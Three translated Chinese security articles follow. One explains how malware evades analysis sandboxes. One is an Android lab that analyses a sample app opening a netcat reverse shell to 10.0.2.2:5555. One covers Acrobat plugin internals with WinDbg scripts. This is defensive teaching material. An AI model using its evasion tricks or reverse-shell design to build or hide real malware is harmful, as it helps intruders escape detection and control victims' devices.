翻译：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
稿费：180RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**写在前面的话**
本文是《沙盒逃逸技术详解》系列文章的第三部分，我们将继续给大家介绍目前恶意软件所使用的沙盒逃逸技术。在我们之前的文章中，我们给大家列出了恶意软件作者所使用的三大类逃逸技术：
1.[沙盒检测](https://www.vmray.com/blog/sandbox-evasion-techniques-part-2/)：检测沙盒的存在（在检测过程中只显露出友好行为）；
2.利用沙盒漏洞：利用沙盒技术或目标环境中存在的安全缺陷；
3.基于环境感知([Context-Aware](https://www.vmray.com/blog/analyzing-environment-sensitive-malware/))的恶意软件：对时间/事件/环境进行判断，并且在沙盒分析过程中不会暴露恶意行为；
在之前的文章中，我们曾说过用沙盒来对恶意软件进行分析已经成为了我们对抗高级持续性威胁的银弹，但是道高一尺魔高一丈，恶意软件开发者也找出了很多种基于静态分析的方法（加密、混淆、反逆向保护）来绕过沙盒工具。但恶意软件分析沙箱所采用的是基于行为模式的检测机制，而这种技术也成为了我们抵御高级持续性威胁的最后一道屏障。
很明显，基于行为模式的恶意软件检测技术只有当恶意软件在其被分析的过程中真正执行了恶意行为的时候才有用，如果恶意软件在分析过程中没有执行恶意操作，沙盒便会认为这个文件是友好的。在本系列的第二部分中，我们深入分析了恶意软件如何直接去判断沙盒环境是否存在。那么在本系列的第三部分中，我们一起来看一看恶意软件如何利用沙盒环境的设计漏洞。
**利用沙盒技术的设计缺陷**
如果恶意软件显式地去检测沙盒是否存在的话，那么这种行为在其被分析的过程中会被标记为“可疑行为”。因此，更加复杂和高级的恶意软件则更倾向于利用沙盒技术中的设计缺陷来在不被检测到的情况下执行恶意操作。通过利用这种沙盒漏洞，就算恶意软件在沙盒系统中执行了恶意操作，它们也不用去担心自己会被检测到。接下来，我们给大家介绍一些相关技术。
**1\. 使监控器“致盲”**
大多数沙盒使用的是一种“in-guest-monitoring”机制，比如说，它们会向目标或分析环境中注入代码、进程或钩子函数等等。如果这些修改可以被撤销或规避，那么沙盒的监控器将会致盲，换句话来说，此时的分析环境将无法检测或分析这个恶意软件。这种致盲主要可以通过以下几种方式实现：
（1）钩子移除：恶意软件可以通过恢复初始指令或数据来移除函数钩子。
（2）钩子规避：恶意软件可以使用直接系统调用来规避函数钩子，而不再使用应用程序编程接口（API）或调用private函数（无函数钩子）。从下面这个例子中可以看到，我们检测到了恶意软件通过非法使用API来入侵explorer.exe和regedit.exe的行为。虽然我们可以通过对特殊内部功能设置函数钩子来解决这个问题，但是操作系统中有大量这样的内部功能，而且每一种Windows版本中的内部功能函数都有区别。
（3）系统文件替换：钩子通常驻入在系统文件之中，并映射在内存中。有些恶意软件可以重载这些文件，然后加载没有钩子的文件。
（4）内核代码：很多沙盒既无法监控内核代码，也无法监控系统的启动进程。
（5）模糊的文件格式：很多沙盒无法支持所有的文件格式：Powershell、.hta、.dzip等等，这些文件格式可能无法在沙盒环境中正确运行。
（6）很多沙盒无法提供完整的技术支持。比如说，初始感染向量可能会影响沙盒环境，而且带有宏的Word文档也有可能在沙盒环境中运行，宏可以下载并运行用于躲避沙盒检测的payload。
（7）操作系统重启：很多沙盒不支持重启。某些系统会尝试通过注销并重新登录用户来模拟系统重启，但是恶意软件可以检测到这种行为。
**2.使生态系统“致盲”**
通过利用目标分析环境中的设计缺陷，恶意软件还可以通过这种方法来避免在沙盒环境中被分析。比如说，有些沙盒所支持的文件大小有限（例如10MB），而有些沙盒不支持多级压缩文件。
**解决方案**
为了确保恶意软件无法通过上述方法避免沙盒检测，一个健壮的沙盒分析环境应该具备以下几个要素：
（1）不能仅仅依靠对目标环境进行修改：
一般来说，沙盒分析所采用的方法都是通过函数钩子（注入在内核模式或内核层驱动程序中用于监控并拦截API调用和其他恶意软件活动）实现的，而钩子的存在就会给恶意软件提供躲过沙盒分析的机会。
（2）使用功能最齐全的系统镜像作为分析环境：
有的沙盒为了方便起见，只会使用一种沙盒环境来进行所有的分析操作。而更好的方法是使用那种企业所采用的标准服务器操作系统以及应用程序配置来作为沙盒分析环境，这样就可以确保那些能够攻击你企业计算机或服务器的恶意软件也同样能够在你的沙盒环境中正常运行。
（3）监控所有与恶意软件相关的活动：
很多沙盒分析器（尤其是那些基于函数钩子实现分析的沙盒）会为了高效率而不会去监控所有的系统活动，但这样便会使漏报率上升。
**结束语**
本系列《沙盒逃逸技术详解》的所有内容就告一段落了，感兴趣的同学还可以关注Twitter账号[@vmray](https://twitter.com/vmray)来获取相关的最新资讯。
**参考资料**
<http://theinvisiblethings.blogspot.de/2006/06/introducing-blue-pill.html>
VMWare port:
[https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1009458](https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1009458)
[https://www.blackhat.com/docs/asia-14/materials/Li/Asia-14-Li-Comprehensive-Virtual-Appliance-Detection.pdf](https://www.blackhat.com/docs/asia-14/materials/Li/Asia-14-Li-Comprehensive-Virtual-Appliance-Detection.pdf)
Breaking the Sandbox: [https://www.exploit-db.com/docs/34591.pdf](https://www.exploit-db.com/docs/34591.pdf)
[https://www.brokenbrowser.com/detecting-apps-mimetype-malware/](https://www.brokenbrowser.com/detecting-apps-mimetype-malware/)
[https://www.symantec.com/avcenter/reference/Virtual_Machine_Threats.pdf](https://www.symantec.com/avcenter/reference/Virtual_Machine_Threats.pdf)
[Analysis report showing Blinding the
Monitor](http://www.vmray.com/analyses/663310/report/overview.html)
[https://blogs.forcepoint.com/security-labs/locky-returned-new-anti-vm-trick](https://blogs.forcepoint.com/security-labs/locky-returned-new-anti-vm-trick)
[https://www.vmray.com/blog/sandbox-evasion-with-com-by-malware-in-the-wild/](https://www.vmray.com/blog/sandbox-evasion-with-com-by-malware-in-the-wild/)
[https://www.vmray.com/blog/analyzing-ruby-malware/](https://www.vmray.com/blog/analyzing-ruby-malware/)
[https://www.vmray.com/blog/malware-uses-java-archive-jar/](https://www.vmray.com/blog/malware-uses-java-archive-jar/)
[https://www.vmray.com/blog/malicious-word-doc-uses-activex-infect/](https://www.vmray.com/blog/malicious-word-doc-uses-activex-infect/) | 社区文章 |
# 【技术分享】Android恶意软件分析
|
##### 译文声明
本文是翻译文章，文章来源：resources.infosecinstitute.com
原文地址：<http://resources.infosecinstitute.com/android-malware-analysis-2/#download>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **开个小号** ****](http://bobao.360.cn/member/contribute?uid=167004554)
**预估稿费：200RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**目的**
这个练习涵盖了技术分析Android恶意软件通过使用一个定制的恶意软件样本在Android设备上运行时,将会reverse
shell给一个攻击者。我们将通过使用静态和动态分析技术分析完整功能应用程序。
**虚拟机使用：** Santoku Linux VM
**工具：** AVD Manager, ADB, Wireshark, dex2jar, apktool
**在这个实验中使用的分析工具：** bake_the_cake.apk, apktool, tcpdump,，
我们将通过创建一个模拟器，选择“Santoku->Development Tool”，然后点击“Android SDK Manager”。如下所示：
上述步骤将打开下面的窗口：
默认情况下，Santoku只有几个Android版本的图像。我们应该根据不同的要求来创建模拟器。如果您发现上面的图中，我们已经安装了“Android
4.4.2 ARM EABI V7ASystem ”。一切设置完毕，点击““Tools”菜单栏在顶部的窗口，然后单击“Manage AVDs”，如下图
所示。
这将如下图所示：
“Android Virtual Device(AVD) Manager”窗口。
正如你可以在上面的图中看到，我们已经配置了一个模拟器。现在，让我们创建我们选择的新的模拟器。点击“创建”，如图所示：
现在，让我们来选择适当的选项，如下图所示：
正如你可以在上面的图中看到，我们命名我们的模拟器为:“analysis_device。”于是，我们选择了具有“3.2寸HVGA”的设备能与更小的尺寸的模拟器。于是，我们选择了“Android
4.4.2-API Level19”作为我们的目标。CPU被选为ARM。内部存储容量为500 MB。最后，我们为SD卡提供了100 MB。
检查完毕后，然后单击“确定”按钮完成设置。
如果您正在使用并按照上面的步骤完成后，你会看到一个额外的虚拟设备，如下图所示
选择新创建的模拟器，然后单击“开始”按钮，你应该看到下面的对话框：
点击“启动”，并开始显示下面的进度条。
要有耐心等待一段时间，因为第一次启动模拟器可能需要较长的时间来启动，如下图所示
**静态分析**
静态分析涉及反编译应用程序并查看源代码，并对其进行分析，了解哪些恶意软件正在做什么。
让我们从分析AndroidManifest.xml文件开始。我们可以通过多种方式获得AndroidManifest.xml文件。让我们用apktool并使用下面所示的命令得到它。
apktoolÐbake_the_cake.apk
但是，我们这样做之前，我们应该确保我们使用的是最新版本的apktool，然后删除1.apk
如果现有apktool已经过时，它可能无法分解我们的目标APK文件。
下面是步骤：
删除 “1.apk” 在文件夹 “/home/infosec/apktool/framework/” 使用如下命令
/home/infosec/apktool/framework/1.apk
现在，运行以下命令来分解apk文件：
java -jar apktool_2.1.1.jar d bake_the_cake.apk
这个命令会创建一个apk文件名称的新文件夹。在我们的例子中，它是“ bake_the_cake ”。到该文件夹，如下面图中列出里面的文件和文件夹。
从运行以下命令，分析文件夹导航到新创建的bake_the_cake文件夹中。
$ CD bake_the_cake
然后，运行LS命令列出当前文件夹内的文件和文件夹。
正如你可以在上面的图中看到，得到了它AndroidManifest.xml文件。让我们用下面的命令来查看它的内容，并查看是否有很有趣。
vim AndroidManifest.xml
看着上面的内容，没有任何可疑。即使这个程序是不要求任何危险的权限。联网是这个应用程序所需的唯一权限，但是这并不能证明它是恶意的，因为大多数的应用程序，需要的大部分它们的功能是Internet权限。
如果您正在使用vim编辑器，按打开文件进行CTRL + C，然后输入！Q：关闭。
因此，我们需要做进一步的分析，以确认应用程序有任何恶意行为。
让我们深入挖掘通过反编译使用dex2jar＆JD-GUI应用程序。让我们先解压缩程序，如下面的图。
$unzip bake_the_cake.apk
上述命令应在当前目录中创建附加的文件和文件夹。您可以使用“检查它的ls -l”命令，如图：
正如我们在上面的图中看到，我们从“
classes.dex”文件中提取。classes.dex文件是从开发人员编写Java代码。本来.java文件是使用传统的Java编译器javac的编译。此步骤生成.class文件。这些类文件进一步给予DX工具，它产生一个Dalvik虚拟机（DVM）中运行classes.dex文件。Classes.dex文件是编译的二进制，因此，我们不能以明文阅读。我们可以用dex2jar命令行工具来对DEX文件转换成一个jar文件。这些JAR文件可以用任何传统的Java反编译器，如JD-GUI被反编译。这是为了理解应用程序的源代码的一个重要步骤。dex2jar工具预装在Santoku.
我们可以运行以下命令来使用dex2jar：
$ dex2jar classes.dex
正如我们在上面的图中看到，classes.dex文件已输出为classe_dex2jar.jar文件。
现在，我们可以使用任何传统的Java反编译器，从上面的jar文件得到的Java文件。让我们用JD-GUI，Santoku->Reverse
Engineering：
点击JD的GUI，它就会打开工具，如下面的图。
正如前面提到的，我们将使用这个工具从jar文件中获得的Java文件。因此，定位到““File->open”，然后选择classes_dex2jar.jar文件。这看起来如下所示。
点击open：
不错，我们可以看到包名com.infosecinstitute.analyze_me。我们还可以看到三个不同的类，其中包括MainActivity。我们点击MainActivity并浏览它。
浏览MainActivity显示了很多有趣的信息。首先，让我们来看看下面的一段代码。
有趣的是，有三种方法在上述的一段代码。getReverseShell()，因为它可能会作出与给出了一个 reverse
shell给攻击者一个方法的调用会出现危险。探究在此之前，让我们来看看其他两种方法copyFile()和changefilepermissions()。
下面的代码段是定义copyFile()方法。
这种方法实质上是复制一个文件名为NC的应用程序的资产目录/data/data/com.infosecinstitute.analyze_me/app_files/目录。目标目录本质上是应用程序的设备上的沙箱。
让我们明白下这是怎么搞的：
首先，我们看到的方法调用copyFile("NC");
在前面的代码片段。参数已经传递给localAssetManager.open()，它正在被打开。然后，该目标文件路径已建成.getPackageName();
给出当前包名。接下来的几行用于将文件复制到目标。
由于文件名是“NC”，也可能是APK内包装netcat的二进制文件。让我们切换到分析在终端上的文件夹，并检查从解压APK资产文件夹，查看属性。
下图显示了与这个名字的文件“NC”位于assets文件夹中。
我们还使用文件命令来查看的文件类型。运行“文件NC ”在assetss的文件夹中。输出应该如下图所示。
以上输出显示，该文件是为ARM架构的ELF二进制版本。这证实了assetss文件夹内的文件可能是专为Android设备的可执行文件。
现在，让我们切换回JD-GUI，看看下一个方法changefilepermissions()。下面这段代码显示了该方法的定义。
以上方法似乎正在改变被复制到netcat的二进制文件权限“app_files”文件夹前面。“chmod 755 <文件名>”命令赋予可执行权限到指定文件。
如果该文件的权限已被更改，我们可以验证。启动我们前面创建的仿真器，安装应用程序并启动它。要安装应用程序，切换到你的终端，并确保你在里面分析，其中目标apk文件所在的文件夹。
然后运行以下命令。
“adb install bake_the_cake.apk”
一旦安装后，请确保您启动的应用程序使我们看到代码会被执行。
现在，
$adb shell
切换到使用目标包“CD /data/data/com.infosecinstitute.analyze_me/”并运行“LS”的命令，如下面的图。
正如我们在上面的图中看到，在app_files目录中创建。现在，让我们浏览到该目录，并检查使用的netcat的文件权限“的ls -l”命令，如图下图。
正如你在上图中看到，NC程序得到了可执行的权限。
一旦完成，按Ctrl + C，退出adbshell
最后，还有一个需要研究探索的方法。让我们切换回JD-GUI和检查getReverseShell（）方法，看看它在做什么。
以下是代码片段。
上面的代码片段显示，该应用程序使用调用Runtime.getRuntime().EXEC()，通过端口5555的IP地址10.0.2.2连接，提供一个reverse
shell给攻击者。此连接正在使用的是捆绑在一起的netcat二进制的apk文件的。
给定样品的这种静态分析的结论如下。
该应用程序是恶意的
它配备了APK文件中捆绑的netcat的二进制文件。
当用户打开应用程序，它提供了反向的外壳给攻击者（10.0.2.2）
**动态分析**
当我们试图执行静态分析,可能代码混淆让开发人员很头疼。在这样的情况下，依靠静态分析可能是麻烦的。所以说要用到动态分析。动态分析包括：：分析运行的应用程序的步骤。通常,这个过程检查API调用,网络电话等本节将展示如何使用tcpdump对Android设备进行网络流量分析。
让我们先来安装和启动模拟器上的应用程序。这个应用程序看起来应该如下面：
应用程序运行正常。我们可以把 tcpdump加载程序这可以使用来完成ADB推命令，如下面的图。
上面的命令/data/local/tmp目录是可写在Android设备上的目录的，
现在我们在模拟器上，并检查文件/data/local/tmp
如果您发现上面的输出，tcpdump目前没有可执行的权限。
所以，让我们给tcpdump的可执行权限，如下面的图。
#chmod 755 tcpdump
现在，tcpdump的二进制文件是可执行的。让我们开始它并使用以下命令捕获的数据包。
./tcpdump -v -s 0 -w packets.pcap
正如我们在上面的图中看到，我们捕获的数据包并将其保存到一个文件名为packets.pcap。
现在，通过点击模拟器上的后退按钮关闭该应用程序一次，并启动了回去。这仅仅是保证了应用程序的第一个屏幕运行和tcpdump的通信权。应用程序只有一个页面,所以在我们的案例中是关闭和重新启动就够了一旦这样做，我们可以停止按捕获的数据包CTRL
+ C，如下面的图中的终端。
现在，我们可以在本地计算机，拉这些数据包进行进一步分析。按Ctrl + C，然后用拉他们从adb shell首先退出“adb”命令，如图下图。
#adb pull /data/local/tmp/packets.pcap
我们拉到捕获的数据包。现在，我们需要分析它。我们将使用Wireshark的分析这些数据包。
在Santoku -> Wireless Analyzers -> Wireshark：
启动Wireshark的，然后进入“File->Open” to open the packets.pcap file。如下图：
你应该看到Wireshark的数据包，如下图所示：
嗯，有分析很多的包，我们需要通过过滤我们不必要的数据包。可以应用以下过滤器除去那些有“PSH ACK”标志的数据包。
因为现在在找一个握手包
在wireshark里面中向下滚动呈现以下两个包
正如你在上图中看到，有一个SYN报文从10.0.2.15（模拟器）到10.0.2.2（(Santoku）。
注：模拟器需要10.0.2.2作为该模拟器运行时主机的地址。恶意软件已与该地址没有互联网，地址是模拟攻击者的IP地址创建。
点击上述分组还示出了端口监听攻击者的机器上是5555这是恶意软件试图连接到该端口。
这给了我们一个思路，应用程序正试图使从IP 10.0.2.2通过TCP端口5555进行远程连接
但是，下一个分组表示连接已被复位（我们得到了RST）。
让我们再次尝试相同的模拟攻击者的服务器使用netcat
如下：
正如我们在上面的图中看到，我们正在监听端口5555。
现在，启动tcpdump在虚拟器上，包保存到一个文件名为packets2.pcap。然后，启动目标应用程序产生的流量。当你这样做，你将收到一份关于netcat的监听器
reverse shell
。
停止捕获，如下：
导出数据试用ADB：
再次，Wireshark中打开PCAP文件，并查找在捕获的数据包的三次握手。下图显示了三次握手。
正如我们在上面的图中看到，10.0.2.15已经开始与一个SYN报文的三次握手。下图显示了该应用程序正在试图建立在端口5555到攻击者的服务器的连接。
点击第二个数据包，你应该看到从Santoku（10.0.2.2）来响应。你要注意到源端口5555。
最后，点击3号包看到注定了Santoku计算机上的端口5555的源发送的ACK包。
这证实了建立了连接攻击者的服务器。
由于我们使用的两面的netcat，它采用明文传输的，我们甚至可以看到通信。
要检查这一点，让我们再一次重复上述过程。
开始santoku netcat的监听器
运行tcpdump和包保存到一个文件名为packets3.pcap
启动和运行产生的流量应用。
下图显示的tcpdump捕获的数据包，并将其写入packets3.pcap。
当在santoku shell 上，通过输入cat /proc/cpuinfo ，如下面的图命令：
停止捕获并导出显示在下面的图中的报文：
$adb pull /data/local/tmp/packets.pcap
现在，打开在Wireshark的数据包，并寻找我们输入的字符串。这可以如下面的图来完成。Edit -> Find Packet。
现在选择字符串，然后输入“cpuinfo”到文本字段。请确保你选择““packet bytes”中搜索，最后单击“查找”。
现在，我们应该看到了我们正在寻找的内容包。 选择数据包右键单击：
以下选项应显示。点击“Follow TCP Stream”
这会打开下面的窗口在这里将能够看到的恶意软件和攻击者的服务器之间发送的消息。
**结论**
实验基本覆盖了Android的安全分析了恶意软件使用静态和动态分析技术的基本概念。虽然自定义恶意软件的应用已经显示出一个Android恶意软件（reverse
shell）的一个特点，你会发现更多的恶意功能，如窃取数据并将其发送给攻击者的服务器。 | 社区文章 |
# PDF调试技巧剖析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Acrobat因为缺少符号，导致分析漏洞成因以及利用编写难度增加。该文章主要介绍Plugin机制和Javascript引擎，并且会直接给出相关的一些结论，这些结论主要通过官方文档和源码，再通过类比找到关键点，反复调试验证得到。
## 1\. Acrobat的Plugin机制
Acrobat的SDK文档中详细介绍了Plugin机制，并且Acrobat软件本身的很多功能都是通过Plugin机制实现的（在Acrobat安装目录下的plug_ins目录下的api后缀文件，本质上是dll文件，比如支持Javascript的EScript插件，支持搜索的Search插件等）。
在Acrobat的Plugin机制里，最重要的概念就是HFT（Hot Function Table），一个HFT包含了一组特定的回调函数。
Acrobat主程序维护了一系列的HFT,并且在加载每一个Plugin时,会将core HFT传给Plugin，Plugin通过调用core
HFT里的回调函数可以获取其他HFT（既可以是Acrobat主程序的HFT，也可以是其他Plugin注册的HFT）,并注册自己的HFT以供主程序或者其他Plugin调用，示意图如下所示。
通过Acrobat的Plugin机制，结合Acrobat的SDK中的头文件，我们可以定位很多HFT的回调函数并且根据需要在IDA里重命名，变相识别符号。
接下来详细介绍定位各个HFT的步骤。
### 1.1 获取coreHFT-修改对应的回调函数名称
1) Windbg调试Acrobat的主程序AcroRd32.exe(勾选Debug Child Process
Also)，在调试器中断时通过sxe命令下断点（这里Plugin的名称可以自由选择，下图选择的是EScript.api）。
2) 直接运行直到对应的Plugin加载，将IDA中通过edit->Segments->Rebase
Program将IDA中的基地址和windbg中的基地址保持一致（AcroRd32.dll和其他需要的Plugin也进行同样的操作）。
3) 在IDA中阅读PluginMain函数，找到PISetupSDK回调函数，如下图所示。
4) 在PISetupSDK处下断点，第2个参数是指向PISDKData_V0200的指针，PISDKData_V0200的定义如下。
运行到断点处时，根据结构体定义获取coreHFT。
上图中，中间那段就是coreHFT的一系列回调函数，但是这是动态查看到的结果，不适合用于IDA重命名函数名，所以顺着coreHFT的第一个4字节得到了最后一行的0x299和0x64f3b580，得到0x64f3b580后，直接在AcroRd32.dll模块中跳转到对应地址（前提是AcroRd32.dll在IDA中的基地址已经和windbg中的一致），如下图所示。
注意，0x64f3b580是获取coreHFT的回调函数，所有HFT都有一个对应的回调函数，但是只要求这些函数最终返回HFT，而中间的过程不做任何要求，所以获取不同的HFT的回调函数实现可能不一样，但是都会有明显的标志可以帮助确认。
比如上图中的generateCoreHFT（自己命名的），实现如下图所示。
这里我已经根据Acrobat的SDK中的头文件CorProcs.h修改了对应函数的名称。删除了注释后的CorProcs.h内容如下图所示，可以对比上图，顺序是一一对应的。
到这里已经找到了获取coreHFT的回调函数，再根据CorProcs.h头文件得到了最核心的一些函数，其中最有用的2个函数是ASAtomGetString和ASExtensionMgrGetHFT。
通过ASAtomGetString函数，我们可以得到所有的Atom字符串及对应的Atom（本质上就是索引）。
通过ASExtensionMgrGetHFT函数，我们可以得到所有已经注册的HFT表，再结合Acrobat SDK中的头文件达到重命名函数的目的。
### 1.2 遍历所有的Atom字符串
在IDA中阅读ASAtomGetString函数，得到关键的全局变量地址，如下图所示，关键的全局变量地址为0x66723e78。
将该地址替换下面的windbg脚本中的寄存器@$t0。
r @$t0 = 0x66723e78 ;
r @$t0 = poi(@$t0) ;
r @$t1 = poi(@$t0 + 0x1c) ;
r @$t0 = poi(@$t0 + 0x18) + 0x4 ;
.for(r @$t2 = 0;@$t0 + @$t2 * 8 < @$t1; r @$t2 = @$t2 + 1) {r @$t2;r @$t3 = @$t0 + @$t2 * 8;da poi(@$t3);}
然后将所有windbg脚本拷贝到命令行窗口运行，效果如下。
如果将关键地址替换如下脚本命令中的@$t0寄存器，同时将@$t4寄存器设置为对应的Atom（索引），则可以直接查看对应的字符串。
r @$t4 = 0x299 ;
r @$t0 = 0x66723e78 ;
r @$t0 = poi(@$t0) ;
r @$t0 = poi(@$t0 + 0x18) + 0x4 ;
r @$t0 = @$t0 + @$t4 * 8 ;
da poi(@$t0) ;
这里0x299是1.1节中打印coreHFT相关信息的时候得到的，运行这段脚本的结果如下图所示。
可以验证1.1节中得到的HFT的确是coreHFT。
### 1.3 获取所有的HFT
在IDA中阅读函数ASExtensionMgrGetHFT,得到关键的全局变量地址。如下图所示，关键的全局变量地址为0x667241E4。
将该地址替换为下面windbg脚本中的@$t0寄存器，同时把@$t5寄存器设置为1.2节中得到的全局变量地址。
r @$t5 = 0x66723e78 ;
r @$t0 = 0x667241E4;
r @$t0 = poi(@$t0);
r @$t1 = poi(@$t0) - 0x4;
r @$t0 = poi(@$t0 + 0xc);
r @$t5 = poi(@$t5) ;
r @$t5 = poi(@$t5 + 0x18) + 0x4 ;
.for(r @$t2 = 0; @$t2 <= @$t1; r @$t2 = @$t2 + 1) {r @$t3 = poi(@$t0 + @$t2 * 4);dd @$t3 L0x2;r @$t4 = low(poi(@$t3));r @$t6 = @$t5 + @$t4 * 8 ;da poi(@$t6) ;.echo ------------------------------------}
将所有脚本命令拷贝到windbg的命令行窗口，运行后的结果如下所示(为了直观和理解，这里将所有结果都展示了出来，不过选择的Plugin不同这里展示的结果可能不同，因为有些HFT可能还没有注册)。
展示结果分2行，第1行的结构和1.1节中coreHFT的一样(第1个4字节是HFT名称的索引，第2个4字节是获取对应HFT的回调函数)，第2行则是HFT的实际名称。
0:000> r @$t5 = 0x66723e78 ;
0:000> r @$t0 = 0x667241E4;
0:000> r @$t0 = poi(@$t0);
0:000> r @$t1 = poi(@$t0) - 0x4;
0:000> r @$t0 = poi(@$t0 + 0xc);
0:000> r @$t5 = poi(@$t5) ;
0:000> r @$t5 = poi(@$t5 + 0x18) + 0x4 ;
0:000> .for(r @$t2 = 0; @$t2 <= @$t1; r @$t2 = @$t2 + 1) {r @$t3 = poi(@$t0 + @$t2 * 4);dd @$t3 L0x2;r @$t4 = low(poi(@$t3));r @$t6 = @$t5 + @$t4 * 8 ;da poi(@$t6) ;.echo ------------------------------------}
08836ec8 00000299 64f3b580
050325f0 "Core"
------------------------------------
08836ce8 0000029a 64f3b8e0
05033248 "AcroSupport"
------------------------------------
08836c20 00001048 65527f40
08836ae0 "ASExternalWarningHandler"
------------------------------------
08836b58 00001049 00000000
05025940 "ASTest"
------------------------------------
0885e128 0000104b 00000000
05087310 "ASThread"
------------------------------------
0885e4e8 0000029b 64f3bb80
05032670 "Cos"
------------------------------------
------------------------------------未显示完
接下来针对部分HFT演示一下通过Acrobat SDK中的头文件修改函数名称，所有的HFT操作都是类似的，不过有些HFT在Acrobat
SDK中不存在，Adobe没有公开。
**1.3.1 Cos HFT**
根据上面的结果，可以知道获取Cos HFT的回调函数为0x64f3bb80,在IDA中查看该函数，如下所示。
------------------------------------
0885e4e8 0000029b 64f3bb80
05032670 "Cos"
------------------------------------
这个写法和之前的获取Core HFT类似，继续跟进sub_64F3BC6E,如下图所示（太长了不适合图片）。
int sub_64F3BC6E()
{
_DWORD *v0; // esi@1
int v1; // ST40_4@2
int v3; // [sp+8h] [bp-10h]@2
int v4; // [sp+Ch] [bp-Ch]@2
int v5; // [sp+10h] [bp-8h]@2
int v6; // [sp+14h] [bp-4h]@2
v0 = TlsGetValue(dword_665BAF2C);
if ( !v0[23] )
{
v3 = 16;
v1 = v0[24];
v4 = 109;
v5 = 589824;
v6 = 0;
v0[23] = sub_64EC7CC0(v1, &v3);
}
sub_64F3C33F(1, sub_64F82ED0, 0);
sub_64F3C33F(2, sub_64F13BA0, 0);
sub_64F3C33F(3, sub_64F97C60, 0);
sub_64F3C33F(4, sub_64F81580, 0);
-----------未 显 示 完
return sub_64F3C33F(109, sub_6536C480, 0);
}
可以知道Cos HFT中有109个回调函数（上述没有显示完），此时再到Acrobat
SDK中查看头文件CosProcs.h，去除掉注释后得到如下结果，正好109个函数声明，和上图一一对应（这里懒没有在IDA中一一重命名）。
如果个数对应不上，应该是有重复的函数声明，在头文件中以#if #else #endif的形式存在，删除重复的就好了。
NPROC(ASBool, CosObjEqual, (CosObj obj1, CosObj obj2))
NPROC(CosType, CosObjGetType, (CosObj obj))
NPROC(ASBool, CosObjIsIndirect, (CosObj obj))
NPROC(ASBool, CosObjEnum, (CosObj obj, CosObjEnumProc proc, void *clientData))
NPROC(CosDoc, CosObjGetDoc, (CosObj obj))
NPROC(CosObj, CosNewNull, (void))
NPROC(CosObj, CosNewInteger, (CosDoc dP, ASBool indirect, ASInt32 value))
NPROC(CosObj, CosNewFixed, (CosDoc dP, ASBool indirect, ASFixed value))
NPROC(CosObj, CosNewBoolean, (CosDoc dP, ASBool indirect, ASBool value))
NPROC(CosObj, CosNewName, (CosDoc dP, ASBool indirect, ASAtom name))
NPROC(CosObj, CosNewString, (CosDoc dP, ASBool indirect, const char *str, ASTArraySize nBytes))
NPROC(CosObj, CosNewArray, (CosDoc dP, ASBool indirect, ASTArraySize nElements))
---------未 完
**1.3.2 PDSRead HFT**
这里之所以列出PDSRead HFT是因为它代表了一种情况——实际的实现中回调函数个数比Acrobat SDK中头文件里的回调函数个数多。
仍然根据之前打印出的所有HFT结果（上图没有显示完）可以发现获取PDSRead HFT的回调函数是0x64f3cf70,在IDA中查看如下所示。
------------------------------------
08899e18 00001060 64f3cf70
0888c7d8 "PDSRead"
------------------------------------
跟进sub_64F3D0C2，如下所示。
int sub_64F3D0C2()
{
int v0; // ebp@0
_DWORD *v1; // esi@1
int v2; // ST40_4@2
int v4; // [sp+8h] [bp-10h]@2
int v5; // [sp+Ch] [bp-Ch]@2
int v6; // [sp+10h] [bp-8h]@2
int v7; // [sp+14h] [bp-4h]@2
v1 = TlsGetValue(dword_665BAF2C);
if ( !v1[532] )
{
v4 = 16;
v2 = v1[533];
v5 = 53;
v6 = 851968;
v7 = 0;
v1[532] = sub_64EC7CC0(v0);
}
sub_64F3D3FD(1, sub_64FC8F90, 0);
sub_64F3D3FD(2, sub_64FC9120, 0);
sub_64F3D3FD(3, sub_64FC9480, 0);
sub_64F3D3FD(4, sub_64FE89D0, 0);
sub_64F3D3FD(5, sub_654BD830, 0);
sub_64F3D3FD(6, sub_654BD890, 0);
--------------------------------
sub_64F3D3FD(52, sub_654BE790, 0);
return sub_64F3D3FD(53, sub_654BF1F0, 0);
}
可以发现PDSRead的HFT中应该有53个回调函数，但是查看Acrobat
SDK中的头文件PDSReadProcs.h，发现只有50个回调函数，如下所示。
NPROC (ASBool, PDDocGetStructTreeRoot, (IN PDDoc pdDoc,
NPROC (ASInt32, PDSTreeRootGetNumKids, (IN PDSTreeRoot treeRoot))
NPROC (void, PDSTreeRootGetKid, (IN PDSTreeRoot treeRoot,
NPROC (ASBool, PDSTreeRootGetRoleMap, (IN PDSTreeRoot treeRoot,
NPROC (ASBool, PDSTreeRootGetClassMap, (IN PDSTreeRoot treeRoot,
-------------------------------------
这种情况下按照顺序前面的50个回调函数是一一对应的。
**1.3.3 Forms HFT**
这里之所以列出Forms HFT是因为它也是另一种情况——它的HFT的回调函数不是一个个插入的，而是直接静态拷贝的。
根据之前打印的结果可以知道获取Forms HFT的回调函数是0x64f46f90，IDA中查看如下图所示。
------------------------------------
0889f408 006310aa 64f46f90
088d0cb0 "Forms"
------------------------------------
可以发现这次的实现和之前获取core HFT、Cos HFT的实现不一样了，这种就是直接静态拷贝得到一个HFT的。
跟进off_665D8E78,发现是一个函数地址表。
.data:665D8E78 off_665D8E78 dd offset sub_65785D30 ; DATA XREF: sub_64F46F90+8o
.data:665D8E7C dd offset sub_6577D150
.data:665D8E80 dd offset sub_6577CF80
.data:665D8E84 dd offset sub_6577D090
.data:665D8F44 dd offset sub_6577D4A0
-----------------------------------------------------
.data:665D8F48 dd offset sub_6577C9D0
.data:665D8F4C align 10h
.data:665D8F50 off_665D8F50 dd offset sub_6577CB10 ; DATA XREF: sub_64F46FF0+8o
再计算一下0xd4/4，结果是53，也就是说这个表里总共有53个回调函数，占用的字节数是0xd4。
再在Acrobat
SDK的头文件FormsHFTProcs.h，去除注释后内容如下，刚好53个函数声明，正好和上面的函数地址表一一对应（懒，没有在IDA中实际重命名函数）。
